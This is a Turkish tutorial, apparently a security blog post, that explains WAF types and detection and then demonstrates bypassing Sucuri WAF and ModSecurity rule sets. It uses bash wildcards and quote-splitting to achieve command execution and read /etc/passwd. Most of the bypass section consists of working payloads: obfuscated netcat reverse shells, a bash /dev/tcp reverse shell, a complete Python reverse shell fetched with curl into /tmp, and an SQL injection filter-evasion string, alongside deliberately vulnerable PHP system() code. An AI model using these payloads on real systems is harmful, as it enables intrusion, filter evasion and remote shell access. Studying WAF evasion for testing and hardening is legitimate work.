WAF

Web Application Firewall (WAF),  karmaşıklaşan web trafiği üzerinde detaylı inceleme yaparak anormal trafiği engellemeye yarayan bir teknolojidir. Kısacası HTTP/HTTPS/SOAP/XML/Web Servisleri üzerinde detaylı paket incelemesi yaparak zararlı istekleri bloklamak için kullanılan bir araç diyebiliriz.

Waf Türleri

Waflar çalışma şekillerine göre temelde üç kategoriye ayrılabilirler, beyaz liste ile çalışan waflar sadece beyaz liste içinde tanımlanmış durumların oluşmasına izin verirler. Bunun haricinde oluşan durumları filtreler ya da engellerler. Kara liste ile çalışan waflar ise kara liste içinde tanımlanan durumları tespit edip engellerler. Karma modu kullanan güvenlik duvarları ise iki filtreleme yönteminden de yararlanırlar.

Waflar daha önce de bahsedildiği gibi son kullanıcı ile web sunucusu arasındaki istekleri incelerler ama waflar her zaman fiziksel olarak son kullanıcı ile web sunucusu arasında bulunmak zorunda değildir. Waflar bulundukları topolojiye göre üçe ayrılırlar.

  • Web sunucusu üzerinde (on premise,inline)
  • Web sunucusunun bulunduğu ağda (switch ile port mirroring2)
  • Web sunucusu ile istemci arasında (bulut,reverse proxy)

1)HTTP,HTTPS, REST, SOAP,XML-RPC v.b.

2)Farklı markalarda Switched Port Analyzer (SPAN) veya Roving Analysis Port (RAP) şeklinde adlandırılırlar.

Waf Topolojileri

Wafların topolojilerine uygun bilinmesi gereken birkaç temel bilgi bulunmaktadır. Bu bilgileri yazımın geri kalanında ve wafları anlamanızda yardım sağlayacaktır.

Bulut Waf: En genel kullanılan waf türüdür. Genelde web servisine kendileri ulaşırlar. Sizin ile web servisleri arasında dururlar. Cloudflare örneğinden bahsetmek gerekirse bu servis alan adınızın dns kayıtlarını size ayrılan Cloudflare dns kayıtlarıyla değiştirmenizi ister. Bu sayede sizin sitenizi ziyaret eden bir kişi öncelikle Cloudflare uğrayacaktır. Cloudflare ise sizin sitenize yapılan istekleri filtreler ve kontrollü bir şekilde yönlendirir.

Port mirroring kullanan waflar iç ağda aynı switch e bağlı bulunurlar. Tam olarak kullanıcı ile sunucu arasında bulunmadıklarından isteği direk engelleyememektedir. Bu nedenle istek web sunucusuna ulaşabilmektedir. Bu durumda waf sadece kayıt tutma işlevini gösterebilmekte, geriye cevap dönmesi için sunucu tarafında ekstra konfigürasyon işlemlerinin yapılması gerekmektedir.

Sunucu üzerinde bulunan waflar ise uygulama ile birlikte barındığından dağıtık olamamakta, bu nedenle waf üzerinde olası bir saldırıda Dos/DDoS ile web uygulaması devre dışı kalabilmektedir. Bu nedenle dağıtık çözümler tercih edilmektedir. Sunucu ile kullanıcı arasına kurulacak CDN (Content Delivery Network) veya dağıtılmış sunucular için her sunucuya özel waf konumlandırmak gerekeceğinden bu çözümü genelde tercih etmek istemezler. Bu nedenle genellikle bulut tabanlı waflar tercih edilmektedir.

Waf Algılama

Bir web servisinin wafın arkasında olduğunu algılamanın birden çok yolu vardır. Ben bu yollardan bazılarını sizinle paylaşacağım.

  • Waflar filtrelere takılmayan tarayıcılara bir cookie bırakabilmektedir. (Cookie)
    • Waflar HTTP başlıklarını değiştirebilmektedir.1
    • Bazı waflar engel cevaplarına farklı HTTP kodları koyabilmektedir.
    • Bazı waflar istenmeyen bir durum karşısında bağlantıyı koparabilmektedir.
    • Bazı waflar cevabın gövdesine kendi cevaplarını ekleyebilmektedir.
    • Yan kanal saldırıları (cevap zamanı, güvenlik kuralları v.b.)
    • Kullandığınız tarayıcılara ziyaret ettiğiniz web sayfasında/servisinde waf olup olmadığını anlamak için küçük eklentiler…

Wafları algılamak için bu kuralları tek tek deneyebilirsiniz evet ama tahmin edeceğiniz gibi bunu otomatize yapan araçlar da mevcuttur2.

1)HTTP,HTTPS, REST, SOAP,XML-RPC v.b. ile yapılan isteklerde waftan sonra başlık verilerinde değişiklik görülebilir.

2)WafW00f, Whatwaf, Nmap Http-waf-detect,Shodan…

Wildcard Hakkında Bilmiyor Olabileceğiniz Şeyler:

Bash standard wildcards (ayrıca globbing patterns olarak da bilinir) birçok dosya ile birlikte çalışmak için komut satırı yardımcı programları tarafından kullanılır. Standard wildcard hakkında daha fazla bilgi için “man 7 glob” komutu ile kılavuz sayfasına bakabilirsiniz. Sadece soru işareti (?), eğik çizgi (/), sayılar ve harfler kullanarak sistem komutlarını yürütebileceğiniz birçok bash komut sözdizimi olduğunu herkes bilmez. Hatta dosyaları aynı sayıda karakter kullanarak sıralayabilir ve içeriklerini alabilirsiniz. Nasıl mı? Bir örnek vereyim:

Uçbirime “ls” komutunu yazmak yerine “/???/?s” komutunu da kullanabilirsiniz.

/???/?s yazarak “ls” help çıktısını yürüttük.

Bu tür komut sözdizimleri ile esasında istediğiniz her şeyi yürütebilirsiniz. Diyelim ki zafiyetli hedefiniz bir WAF arkasında ve bu WAF’un, GET parametresinin değerinde veya POST isteğindeki body kısmında, içerisinde “/etc/passwd” veya “/bin/ls” olan tüm istekleri engelleyen bir kuralı var. Eğer “/?cmd=cat+/etc/passwd” gibi bir istekte bulunmaya çalışırsan hedef WAF’u tarafından isteğiniz engelleniyor bununla kalmayıp IP adresin de sonsuza dek engelleniyor ve “yet another f***in’ redteamer (bir başka lanet redteamer)” olarak etiketleniyorsunuz. Lakin cebinizde wildcard adında gizli bir silahınız var. Eğer şanslıysanız (çok da değil, ileride göreceğiz) hedef WAF’un sorgu dizesi içerisinde soru işareti ve eğik çizgi gibi karakterleri engellemeye yeterli “paranoyakça bir kural dizisi” yoktur. Böylelikle isteğinizi kolayca şu şekilde yapabilirsiniz: “/?cmd=%2f???%2f??t%20%2f???%2fp??s??”

Gördüğünüz üzere wildcard ile /bin/cat /etc/passwd çıktısını bastık.

Yukarıdaki ekran görüntüsünde gördüğünüz üzere, 3 tane hata var: “/bin/cat *: Is a directory”. Bunun nedeni “/???/??t”nin “/bin/cat”e ve bundan başka da “/dev/net” veya “/etc/apt” ve benzerlerine globbing process tarafından çevrilmesidir.

Soru işareti wildcard’ı herhangi bir karakter olabilen rastgele bir karakteri temsil eder. Mesela dosya adının bir kısmını bildiğiniz durumda wildcard kullanabilirsiniz. Misal “ls *.???” komutu geçerli dizindeki uzantısı 3 karakter uzunluğunda olan tüm dosyaları listeler. Yani “.gif”, “.jpg”, “.txt” türü uzantıya sahip olan dosyalar listelenir.

Wildcard ile, netcat kullanarak bir reverse shell bile çalıştırabilirsiniz. Diyelim ki 1337 portunda 127.0.0.1’e bir reverse shell çalıştırmanız lazım (genellikle “nc -e /bin/bash 127.0.0.1 1337” şeklinde çalıştırılır.), bunu şöyle yapabilirsiniz: “/???/n? -e /???/b??h 2130706433 1337”

127.0.0.1 IP adresini “long” formatına (2130706433) dönüştürerek, HTTP isteğinizde nokta kullanımından kaçınabilirsiniz.

Benim Kali’mde, bağlantı sonrası “/bin/bash” yürütülebilsin diye kullandığımız “-e” parametresi olmayan “nc” yerine “nc.traditional”ı kullanmam lazım. Bu durumda payload da şöyle bir şey olur: “/???/?c.??????????? -e /???/b??h 955164118 451”

Wildcard kullanarak reverse shell yürütme.

Az önce gördüğümüz iki komutun küçük bir özeti aşağıdadır:

Standart: “/bin/nc 127.0.0.1 1337”
WAF Atlatmak İçin Kullandığımız: “/???/n? 955164118 451”
Kullanılan karakterler: “/”, “?”, “n” ve “[0-9]”

Standart: “/bin/cat /etc/passwd”
WAF Atlatmak İçin Kullandığımız: “/???/??t /???/??ss??”
Kullanılan karakterler: “/”, “?”, “t” ve “s”

Neden yıldız işareti yerine soru işareti kullanılıyor diye sorabilirsiniz bunun sebebi ise yıldız işaretinin kullanımı yorum sözdizimlerinde (/* bu bir yorum cümlesidir */ gibi) yaygındır ve birçok WAF tarafından SQL Injection önlemek babında engellidir çünkü şuna benzer kullanımları olabiliyor: “UNION+SELECT+1,2,3/*” ki bu kullanımı az da olsa SQL Injection bilen arkadaşlarımız görmüşlerdir.

Peki “echo” kullanarak dosyaları ve dizinleri sıralayabilir miyiz? Evet, sıralayabilirsiniz. “echo” komutu, wildcard kullanarak sistemdeki dosyaları ve dizinleri sıralayabilir. Örneğin: “echo /*/*ss*”

Echo komutu kullanarak dosyaları ve dizinleri sıraladık.

Bu, bir RCE’da, hedef sistemde dosyaları ve dizinleri elde etmek için de kullanılır. Misal:

WAF’a rağmen dosyaları ve dizinleri döktük.

Peki neden wildcard (ve bilhassa soru işaretinin) kullanımı, bir WAF kural setini atlatabilir? Sucuri WAF ile başlayayım!

Sucuri WAF Atlatma

Sucuri WAF’da atlatma tekniği testinden yukarıdaki gibi bir örnek vermiş olalım.

Bir WAF kural setini test etmenin en iyi yolu nedir? Dünyadaki en çok zafiyetli PHP script’ini kurmak ve muhtemel tüm teknikleri denemek. Yukarıdaki ekran görüntümüzde sol üst kısımda, komutları yürüten basit bir web uygulamamız var.

<?php
      echo 'ok: ';
      print_r($_GET['c']);
      system($_GET['c']);

Sol alt kısımda, Sucuri WAF (test1.unicresit.it) tarafından korunan siteme yaptığım RCE testini görebilirsiniz. Sucuri benim isteğimi şu sebep notu ile birlikte engelliyor: “An attempted RFI/LFI was detected and blocked (Teşebbüs edilmiş bir RFI/LFI tespit edildi ve engellendi)”. Bu neden tamamıyla doğru olmasa da yine de WAF’un saldırımı engellemesi iyi bir şey.

Sağ kısım ise asıl ilgi çekici kısmı çünkü aynı isteği wildcard halinde soru işaretleri kullanarak gönderdiğim kısmı gösteriyor. Sonuç ise sistem yöneticisi için korkutucu. Sucuri WAF tarafından istek kabul ediliyor ve uygulamam, c parametresine koyduğum komutları yürütüyor. Şimdi “/etc/passwd” dosyası ve daha nicelerini okuyabilirim. Uygulamanın kendisinin PHP kaynağını okuyabilir, netcat (veya sevdiğim şekilde /???/?c) kullanarak reverse shell yürütebilir, web sunucusunun gerçek IP adresini ortaya çıkarmak için, direkt olarak hedefe bağlanarak WAF’u bypass etmeme olanak sağlayan, curl veya wget gibi programları yürütebilirim.

Lütfen, bu testi gerçek bir senaryo yansıtmayan, aptalca bir PHP script’i kullanarak yaptığımı unutmayın. Naçizane fikrime göre bir WAF’u kaç tane isteği engellediğine bağlı olarak yargılamayın ve Sucuri de sırf kasten zafiyetli bir siteyi tam anlamıyla koruyamadığı için de değersiz bir WAF değildir lütfen yanlış bir anlaşılma olmasın.

ModSecurity OWASP CRS 3.0

Cidden bu ModSecurity’ye bayılıyorum ve bence Nginx ve the Nginx connector ile kullanılan bu yeni libmodsecurity (v3), WAF’u kullanmak için en iyi yol. Ayrıca OWASP Core Rule Set’in de büyük bir hayranıyım. Her yerde kullanırım lakin eğer bu kural setini iyi bilmezseniz aşk denen şeye dikkat kesilmeniz lazım.. Pardon Paranoia Level’e!

Yeni Başlayanlar İçin Paranoia Level

https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/e4e0497be4d598cce0e0a8fef20d1f1e5578c8d0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&#8221; linkinde bulabileceğiniz aşağıdaki şema, “REQUEST PROTOCOL ENFORCEMENT” kurallarında her bir seviyenin nasıl çalıştığı ile alakalı güzel bir genel şemadır. PL1 ile görebildiğiniz üzere bir sorgu dizesi sadece 1 – 255 arasında ASCII karakterlerini içerebilir ve çok küçük bir aralıkta ASCII karakteri olmayan her şeyi engelleyen PL4’e doğru daha da kısıtlayıcı olur.

# -=[ Targets and ASCII Ranges ]=-
#
# 920270: PL1
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 1-255
# Example: Full ASCII range without null character
#
# 920271: PL2
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 9,10,13,32-126,128-255
# Example: Full visible ASCII range, tab, newline
#
# 920272: PL3
# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY
# ASCII: 32-36,38-126
# Example: Visible lower ASCII range without percent symbol
#
# 920273: PL4
# ARGS, ARGS_NAMES and REQUEST_BODY
# ASCII: 38,44-46,48-58,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : &
#
# 920274: PL4
# REQUEST_HEADERS without User-Agent, Referer, Cookie
# ASCII: 32,34,38,42-59,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE

Şimdi de tüm seviyelerle biraz test yapalım.

Paranoia Level 0 (PL0)

Paranoia Level 0 demek birçok kural WAF’da devre dışı demek. Yani bir problem olmadan payload’ımızın RCE işlevi görmesi normal. Panik etmeyin.

SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=0"

PL0’lı ModSecurity tarafından RCE kabul edildi (dediğim gibi paniklik durum yok, kesinlikle normal).

ModSecurity’de Paranoia Level 1 demek “flawless rules of high quality with virtually no false positives (Türkçesi, adeta hiç yalancı pozitif olmayan (özgüllüğü) yüksek kalitede, kusursuz kurallar)” demek lakin aslında o iş fazlasıyla isteğe bağlı. Netnea sitesinde Paranoia Level kurallarının bir listesini bulabilirsiniz: “https://www.netnea.com/cms/core-rule-set-inventory/&#8221;

Paranoia Level 1 ve 2 (PL1 – PL2)

1 ve 2 seviyelerini birlikte aldım çünkü (yukarıdaki şemada da görebileceğiniz üzere) farklılıkları hedefimizi etkilemiyor.

SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=1"

ModSecurity, PL1 (ve PL2) ile isteğimi “OS File Access Attempt (930120)” sebebi ile engelledi. Ya wildcard olarak soru işareti kullansaydım? Bunu yaptığımda isteğim WAF’um tarafından kabul edildi:

Bunun gerçekleşme nedeni ise soru işaretinin, eğik çizginin ve boşluk tuşunun; 920271 ve 920272 kurallarında kabul edilebilir karakterler aralığında olmasıdır. Buna ek olarak, komut sözdizimi yerine soru işaretleri kullanmak, yaygın komutları ve işletim sisteminin dosyalarını (örneğimizdeki /etc/passwd gibi) engelleyen “OS Files” filtresinden yakayı kurtarmamı sağladı.

Paranoia Level (PL3)

Paranoyanın bu seviyesinde bir artı var: “?” gibi karakterleri n kereden fazla içeren istekleri engelliyor. Aslında, benim isteğim “****-Character Anomaly Detection Alert – Repetitive Non-Word Characters” sebebinden engellendi. Aferin ModSecurity, iyi iş çıkardın ve bir ayıcık kazandın! 🐻 Lakin maalesef benim web uygulamam o kadar zafiyetli ki daha az soru işareti kullanarak passwd dosyasını her halükarda okuyabilirim. Misal: “c=/?in/cat+/et?/passw?”.

Gördüğünüz üzere sadece üç tane soru işareti kullanarak bu Paranoia Level’den kaçındık ve hedef bilgisayarda passwd dosyasını okuduk. Tamam lakin bu demek değil ki, her zaman ve her ne suretle olursa olsun Paranoia Level’i 4’e kurmanız gerek.

Paranoia Level (PL4)

“a-z”, “A-Z” ve “0–9” aralığı dışındaki tüm karakterler engelli. Hiçbir yolu yok mu acaba? Elbette var Dosya okumak için bir komut yürütmek istediğinde %90 ihtimalle boşluk tuşu veya eğik çizgiyi kullanacaksın ve mişın kompleyt.

Wildcard kullanarak (daha çok soru işareti ile) nasıl bir WAF kuralını bypass edebileceğimizi anlattım. Lakin WAF kural setini bypass etmenin birçok farklı yolu ve bence her bir saldırının kendine özgü atlatma tekniği var. Örneğin: bir SQL Injection payload’ında yorum sözdizimi kullanmak bir çok filtreyi bypass edebilir. Demek istediğim, “union+select” kullanmak yerine şöyle bir şey yazılabilir: “/?id=1+un/**/ion+sel/**/ect+1,2,3–“

Bu gayet müthiş bir tekniktir ve hedef WAF’unda (yıldız ve tire karakterine izin veren) düşük paranoya seviyesi varken de iyi çalışır. Bu, sadece SQL Injection için çalışmalı ve bir LFI veya RCE exploitleme amacıyla kullanılamaz. Bazı senaryolar için, RCE saldırılarından web uygulamasını koruması gereken WAF’un “a real nightmare (Türkçesi, gerçek bir kabusu)” vardır. Buna, concatenated strings (Türkçesi, birleştirilmiş yazılar) denir.

Birleştirme

Birçok programlama dillerinde zaten string concatenation bir binary infix operatörüdür. Artı (+) operatörü de string birleştirmek için sıklıkla görürüz: misal [“Hello, ” + “World”] = [“Hello, World”]. Diğer dillerde de elbette farklı operatörler mevcut. Misal, Perl ve PHP’de nokta (.), Lua’da iki nokta (..).

$ php -r 'echo "hello"." world"."\n";'
hello world
$ python -c 'print "hello" + " world"'
hello world

Eğer yazıları birleştirmenin tek yolunun bu olduğunu düşünüyorsanız kesinlikle yanılıyorsunuz bayım. 🧐

Bash’te bulunabilecek, başta C, C++ ve Python olmak üzere birkaç dilde, string literal concatenation denen bir şey var. Herhangi bir operatör olmadan bitişik string’leri direkt birleştirir. [“Hello, ” “World”] = [“Hello, World”]. Sadece printf ve echo komutları için değil tüm bash sözdizimleri için geçerlidir. En başından başlayalım.

Aşağıdaki komutların her bir satırı aynı sonucu vermektedir:

# echo test
# echo 't'e's't
# echo 'te'st
# echo 'te'st''
# echo 'te'''st''
# python -c 'print "te" "st"'

Bunun olma nedeni tüm bitişik string’ler Bash’te birleştirilmiş kabul edilir. Aslında “‘te’s’t'” 3 string’den meydana gelmiştir: “te” stringi, “s” stringi ve “t” stringi. Bu yazım, “match phrases” tabanlı (örneğin ModSecurity’deki pm operatörü) bir filtreyi (veya WAF kuralını) bypass etmek için kullanılabilir.

ModSecurity’deki “SecRule ARGS “@pm passwd shadow groups”…” kuralı, “passwd” veya “shadow” içeren tüm istekleri engelleyecek lakin ya “pa’ss’wd” ve “sh’ad’ow” olarak denersek? Önceden SQLi’de de gördüğümüz gibi (yorumlarla bir sorguyu bölmek), burada da tek tırnak (‘) kullanarak dosya isimlerini ve sistem komutlarını bölerek birleştirilmiş string’ler oluşturabilirsiniz. Elbette herhangi bir komut söylemi olarak birleştirilmiş strign’ler kullanabilirsiniz lakin sadece.. Bash size dizini birleştirmenizi sağlar, hatta yürütme için bile.

Aşağıdaki komutların da her bir satırı aynı sonucu vermektedir:

$ /bin/cat /etc/passwd
$ /bin/cat /e'tc'/pa'ss'wd
$ /bin/c'at' /e'tc'/pa'ss'wd
$ /b'i'n/c'a't /e't'c/p'a's's'w'd'
curl .../?url=;+cat+/e't'c/pa'ss'wd

Biraz test etmenin vakti geldi. Her zamanki gibi Sucuri WAF ve ModSecurity ardında test etmek amaçlı aşağıdaki kodu kullanacağım. Muhtemelen, bu kodu okurken, çok aptalca ve basit olduğunu ve artıkın PHP curl fonksiyonlarını kullanmak yerine kimsenin “system()” fonksiyonunun içinde “curl” kullanmadığını düşüneceksiniz. Eğer cidden bunu düşünürseniz, benimkinden daha iyi bir dünyada yaşıyorsunuzdur! (: Uygulamaların kaynak kodlarının içinde bu tür şeyleri kaç kere okuduğumu bir bilseniz şaşırırdınız. Kullanacağım PHP kodu:

<?php
   if ( isset($_GET['zzz']) ) {
      system('curl -v '.$_GET['zzz']);
   }

Sucuri WAF ile Eğlenmece

Sucuri’den birileri en sonunda silecekler benim hesabımı. Ama söz, ModSecurity’mle kıyaslamak için Sucuri WAF’ı kullanacağım. Biri diğerinden üstün olduğundan değil. Sucuri’nin müthiş bir hizmeti var ve ben de Sucuri’yi yaygın kullanıldığından ve bu yazıyı okuyan kullanıcılarının web uygulamalarında bu teknikleri daha iyi test edebilmeleri için örnek olarak kullandım.

İlk olarak, parametrenin değerini şifrelemeden google.com’ın yanıt gövdesini elde etmek amaçlı aşağıdaki PHP uygulamasını kullanacağım.

curl -v 'http://test1.unicresit.it/?zzz=google.com'

Beklendiği gibi çalıştı, google.com 302 sayfası bana google.de linkini takip etmem gerektiğini söylüyor (Google doğru bir şekilde Frankfurt’taki sunucumun konumunu belirledi).

Şimdi ise bu korunmasız uygulamayı exploit’leyebilmem için yapabileceğim birçok şey mevcut. Bunlardan biri de curl sözdizimini noktalı virgül ile kırmak ve diğer sistem komutlarını yürütmeyi denemektir. Sucuri, “/etc/passwd” dosyasını okumaya çalıştığım zaman sinirleniyor. Örneğin:

curl -v 'http://test1.unicresit.it/?zzz=;+cat+/etc/passwd'

Yukarıdaki kod Sucuri WAF tarafından şu sebeple engellendi: “An attempted RFI/LFI was detected and blocked (Teşebbüs edilmiş bir RFI/LFI tespit edildi ve engellendi)”. Bence (sadece bir varsayım, kullanıcılar Sucuri WAF kurallarının detaylarını göremediğinden) Sucuri “RFI/LFI Attempt (Teşebbüsü)” kuralı daha önce gördüğümüz “etc/passwd” gibi dizinlerin ve dosya adlarının olduğu bir liste ile beraber “match phrases” gibi bir şey kullanıyor. Bu WAF’un çok minimalist bir kural seti ve sadece iki tane tek tırnak kullanarak bu kuralı bypass etmemi sağlayan çok düşük bir “paranoia level”ı var.

curl -v "http://test1.unicresit.it/?zzz=;+cat+/e'tc/pass'wd"

Sadece iki tane tek tırnak kullanarak Sucuri WAF atlatma.

Biliyorum şimdi şöyle düşünüyorsunuz: “Pekala, WAF’ın tüm kural setlerini bypass’layarak passwd dosyasını okuyabiliyorsun da asıl on puanlık uzman sorusu: Sucuri WAF aktifken ve uygulamanı koruyorken bile bir shell elde edebiliyor musun?”. Cevabı, evet elbette! Tek sorun netcat’i kullanamıyor oluşumuz. Çünkü hedef bilgisayarda kurulu değil ve evet, RCE kullanarak kontrol ettim. (:

$ curl -s "http://test1.unicresit.it/?zzz=;+which+ls"
/bin/ls
$ curl -s "http://test1.unicresit.it/?zzz=;+which+nc"

(WAF tarafından engellenmiş olabilen birkaç özel karakter ile) En kolay yol “bash –i” komutunu kullanmaktır:”bash -i >& /dev/tcp/1.1.1.1/1337 0>&1″. Lakin maalesef tüm kural setlerini bu payload ile bypass’lamak çok karmaşıktır ve bu demektir ki onu elde etmek için bazı PHP, Perl veya Python kodları kullanmak zor olacaktır. Sucuri WAF benim bu teşebbüsümü şu nedenle engelledi: “Obfuscated attack payload detected (Şaşırtmalı saldırı payload’ı tespit edildi)”. Havalı, değil mi?

Direkt olarak korunmasız parametrede yürüterek bir shell elde etmeye çalışmaktansa curl ve wget kullanarak yazılabilir bir dizine Python bir reverse shell upload etmeyi denerim daha iyi. Öncelikle Python kodlarını hazırlayın “vi shell.py”:

#!/usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my ip address>",2375));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Sonra da aşağıda kullandığım gibi hedef siteden shell.py dosyasını indirin.

curl -v '.../?zzz=<kendiIPadresim>:2375/shell.py+-o+/tmp/shell.py'
Curl kullanarak shell upload edildi.
Sucuri WAF’u atlatan python reverse shell.

WAF Tespiti